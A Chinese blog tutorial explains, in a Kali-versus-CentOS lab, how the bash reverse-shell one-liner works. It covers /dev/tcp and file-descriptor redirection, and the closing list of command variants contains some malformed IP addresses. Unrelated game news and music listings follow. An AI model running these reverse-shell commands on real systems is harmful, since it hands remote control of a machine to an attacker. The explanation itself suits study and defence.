环境
攻击机:kali ip:192.168.25.144
靶 机:centos ip:192.168.25.142
过程
kali 监听本地8888端口
靶机 centos 写入 反弹shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻击机 kali 成功反弹shell
原理
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互
我们将命令拆开
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途
查询当前shell命令 ls -l /bin/sh
bash -i 打开一个交互式的bash shell 如果有 -i 参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有参数 i ,是交互式的
执行一个shell脚本
无参数 i ,非交互式
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立TCP连接
文件描述符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘
标准输出(stdout): 代码为 1 使用 > 或 默认设备显示器
标准错误输出(stderr): 代码为 2 使用 2> 或 2 默认设备显示器
--- +--------+ ( 0 ) ---->|dev/tty0| 当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端) --- +--------+ --- +--------+ ( 1 ) ---->|dev/tty0| --- +--------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回"text-align: center">
Shell 输入/输出重定向
我们让上图 输出重定向
使用 1> 将输出结果写入到 指定文件中 文件不存在则创建文件,文件如果存在会覆盖原文件内容
省略不写则默认就是 1 同理,输入重定向 0< 省略不写则默认就是 0
使用 会追内容在文件末尾
结合上面建立的TCP连接
kali攻击机收到
结合bash -i
在kali得到命令执行结果的回显
此时我们输入name,可以看到,标准输出错误并未被重定向
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
输入重定向
在kali攻击机,输入
靶机得到输入指令,标准输出(默认终端)
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
!!!!!!!!!!!!!!!
此时,我们只需要将
bash i > /dec/tcp/192.168.25.144/8888 和 bash i < /dec/tcp/192.168.25.144/8888 结合
实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell
即 使用下面的命令
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
效果 kali ip:192.168.25.140
此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向
补充:
bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行
标准输出与标准错误输出重定向
此时反弹shell语句里边用到了 >& 操作符,>& 操作符在不同情况下有不通的含义
在 >&word 语法中,当word是数字或 - 字符时,操作符 >& 表示复制 文件描述符
而文件描述符的复制格式有 num1<&num2 和 num1>&num2
这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 num1<&num2 和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)
所以上述命令可以修改为 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
所以 0>&1 或者 0<&1
是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置
此时1[标准输出]指向的是socket连接文件(第一个 > ),
重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命 令)
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
此时标准错误输出 依然未曾改变
在 >&word 语法中,当word不是数字或 - 字符时 >& 表示将 标准错误输出合并到标准输出中
此时与操作符 &> 功能一样 >&word 等价于 &> word 都相当于 > word 2>&1
当执行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令时,效果如下 标准输出错误并未被重定向
所以我们执行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一个闭合的回路 ,同样,命令回显到攻击机上
实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ ----> +------------------+ / --- +--------+ / ( 2 ) ---->|dev/tty0| / --- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
等
本文借鉴了很多大佬的博客,如有更正的地方。还望指出
参考链接:
https://xz.aliyun.com/t/2549
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线
暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。
艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。
《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。
更新动态
- 小骆驼-《草原狼2(蓝光CD)》[原抓WAV+CUE]
- 群星《欢迎来到我身边 电影原声专辑》[320K/MP3][105.02MB]
- 群星《欢迎来到我身边 电影原声专辑》[FLAC/分轨][480.9MB]
- 雷婷《梦里蓝天HQⅡ》 2023头版限量编号低速原抓[WAV+CUE][463M]
- 群星《2024好听新歌42》AI调整音效【WAV分轨】
- 王思雨-《思念陪着鸿雁飞》WAV
- 王思雨《喜马拉雅HQ》头版限量编号[WAV+CUE]
- 李健《无时无刻》[WAV+CUE][590M]
- 陈奕迅《酝酿》[WAV分轨][502M]
- 卓依婷《化蝶》2CD[WAV+CUE][1.1G]
- 群星《吉他王(黑胶CD)》[WAV+CUE]
- 齐秦《穿乐(穿越)》[WAV+CUE]
- 发烧珍品《数位CD音响测试-动向效果(九)》【WAV+CUE】
- 邝美云《邝美云精装歌集》[DSF][1.6G]
- 吕方《爱一回伤一回》[WAV+CUE][454M]